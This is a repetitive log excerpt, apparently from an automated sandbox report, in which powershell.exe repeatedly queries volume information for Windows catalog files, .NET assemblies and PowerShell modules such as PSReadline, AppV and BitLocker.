Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
